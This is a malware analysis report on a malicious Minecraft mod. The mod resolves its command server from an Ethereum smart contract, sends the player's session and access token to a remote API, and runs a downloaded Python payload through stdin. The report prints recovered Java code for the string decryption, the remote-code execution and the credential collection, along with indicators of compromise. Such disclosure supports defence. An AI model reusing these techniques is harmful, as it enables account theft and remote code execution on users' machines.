Minecraft Fabric Mod Malware Analysis

Ethereum Smart Contract Infrastructure and Python Payload Delivery

Summary

SHA256: 7653ccfe8fddfd8562f5236c673d15fc355033f186ca1e1ea736c8c5bf1ac02d

MD5: 66125202e04f15c387d098b9b0116b01

The analyzed sample is a malicious Minecraft modification that employs a multi-stage execution chain combining Ethereum blockchain infrastructure, remote payload retrieval, and embedded Python execution.

Unlike conventional malware that relies on hardcoded command-and-control infrastructure or paste sites, the sample leverages Ethereum JSON-RPC infrastructure and a smart contract lookup mechanism to dynamically resolve operational infrastructure during runtime.

Analysis revealed that the malware:

  • Queries multiple public Ethereum JSON-RPC endpoints.

  • Performs an eth_call against a hardcoded smart contract.

  • Resolves the domain antimalwarediagnostics.st from blockchain data.

  • Collects Minecraft session information.

  • Communicates with remote API endpoints.

  • Downloads and extracts the official Python Embedded Runtime from python.org.

  • Retrieves a secondary payload.

  • Executes the retrieved payload directly through Python stdin using exec().

Sample Information

Field Value
Classification Java-based Minecraft Mod Malware
Language Java
Execution Model Multi-Stage
Blockchain Usage Ethereum Smart Contract Resolution
Payload Execution Embedded Python Runtime

Technical Overview

The malware consists primarily of two classes:

qgk14fgr

Main execution component responsible for:

  • Minecraft session collection

  • Ethereum communication

  • Infrastructure resolution

  • Payload retrieval

  • Python runtime staging

  • Payload execution

w531flnr

String decryption component.

Responsible for decrypting embedded strings using AES-CBC.

Recovered implementation:

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");

cipher.init(
    Cipher.DECRYPT_MODE,
    new SecretKeySpec(key, "AES"),
    new IvParameterSpec(iv)
);

All operational strings were encrypted and recovered during analysis.

String Decryption

The malware stores encrypted strings in the following format:

w531flnr.U("encrypted_blob")

Recovered strings included:

/api/minecraft
/api/update
/api/debug

Content-Type
application/json

User-Agent
MinecraftLauncher/2.0

python.exe
python_embed.zip

import sys;exec(sys.stdin.read())

Approximately 235 encrypted strings were recovered.

Ethereum Smart Contract Infrastructure

The malware contains the following hardcoded values:

private static final String CONTRACT =
"0x728198F69184f7d7ca607617cb9B79f28e1C43c2";

private static final String SELECTOR =
"0x1f1bd692";

The selector resolves to:

text()

Observed JSON-RPC request:

{
  "jsonrpc":"2.0",
  "method":"eth_call",
  "params":[
    {
      "to":"0x728198F69184f7d7ca607617cb9B79f28e1C43c2",
      "data":"0x1f1bd692"
    },
    "latest"
  ],
  "id":1
}

Direct querying of the contract returned:

antimalwarediagnostics.st

This confirms the malware dynamically resolves infrastructure through blockchain data rather than relying on a statically embedded domain.

The design allows operators to modify downstream infrastructure without redistributing the malware itself.

RPC Infrastructure

Recovered Ethereum JSON-RPC endpoints included:

https://eth.llamarpc.com
https://eth.api.onfinality.io/public
https://rpc.eth.gateway.fm
https://ethereum-rpc.publicnode.com
https://rpc.flashbots.net
https://eth.drpc.org
https://eth.blockrazor.xyz

More than twenty public RPC providers were embedded within the sample.

This approach provides resilience, redundancy, and reduces dependency on a single provider.

Session Collection

The malware extracts Minecraft account information and constructs a JSON object containing:

{
  "log_uuid":"%s",
  "username":"%s",
  "player_uuid":"%s",
  "access_token":"%s",
  "account_type":"%s",
  "build_tag":"%s"
}

Recovered strings indicate collected information includes:

  • Username

  • UUID

  • Access Token

  • Account Type

  • Build Identifier

Collected data is transmitted to:

https://antimalwarediagnostics.st/api/minecraft

Payload Retrieval

After resolving infrastructure through the smart contract, the malware requests:

https://antimalwarediagnostics.st/api/update

Recovered logging strings indicate:

Server URL resolved to:
Connecting to:
Read X chars

The returned content is treated as a secondary payload.

The payload is maintained in memory and forwarded directly to the execution stage.

Python Runtime Staging

The malware downloads the official embedded Python runtime:

https://www.python.org/ftp/python/3.12.4/python-3.12.4-embed-amd64.zip

Recovered strings included:

python_embed.zip
python.exe
python312._pth

The archive is extracted and configured prior to execution.

Payload Execution

The execution chain ultimately launches Python using:

ProcessBuilder pb = new ProcessBuilder(
    pythonExe.getAbsolutePath(),
    "-c",
    "import sys;exec(sys.stdin.read())"
);

pb.environment().put("PYTHONDONTWRITEBYTECODE", "1");
pb.environment().put("PYTHONIOENCODING", "utf-8");
pb.environment().put("LOG_UUID", logUuid);
pb.environment().put("BUILD_TAG", buildTag);

Process proc = pb.start();

Payload execution occurs through stdin:

OutputStream stdin = proc.getOutputStream();

stdin.write(
    payload.getBytes(StandardCharsets.UTF_8)
);

stdin.flush();
stdin.close();

This technique executes server-provided Python code directly from standard input without writing a standalone script to disk.

Execution Flow

Minecraft Mod
        │
        ▼
Ethereum JSON-RPC Query
        │
        ▼
Smart Contract
0x728198F69184f7d7ca607617cb9B79f28e1C43c2
        │
        ▼
text()
        │
        ▼
antimalwarediagnostics.st
        │
        ├─────────────► /api/minecraft
        │
        └─────────────► /api/update
                              │
                              ▼
                    Python Embedded Runtime
                              │
                              ▼
                 import sys;exec(sys.stdin.read())
                              │
                              ▼
                          Execution

Indicators of Compromise

Smart Contract

0x728198F69184f7d7ca607617cb9B79f28e1C43c2

Function Selector

0x1f1bd692

Domain

antimalwarediagnostics.st

API Endpoints

/api/minecraft
/api/update
/api/debug

User-Agent

MinecraftLauncher/2.0

Downloaded Component

https://www.python.org/ftp/python/3.12.4/python-3.12.4-embed-amd64.zip

Conclusion

This sample demonstrates an uncommon infrastructure design that leverages Ethereum smart contracts as a mechanism for infrastructure discovery.

Rather than embedding a static command-and-control domain directly within the malware, the loader queries blockchain data through multiple public Ethereum JSON-RPC providers, resolves infrastructure at runtime, retrieves additional content, and executes server-provided Python code through an embedded interpreter.

The combination of blockchain-backed infrastructure resolution, encrypted strings, embedded Python staging, and stdin-based payload execution provides operational flexibility while reducing reliance on traditional static infrastructure indicators.

At the time of analysis, the secondary payload retrieved through /api/update had not yet been dynamically analyzed and remains a subject for future investigation.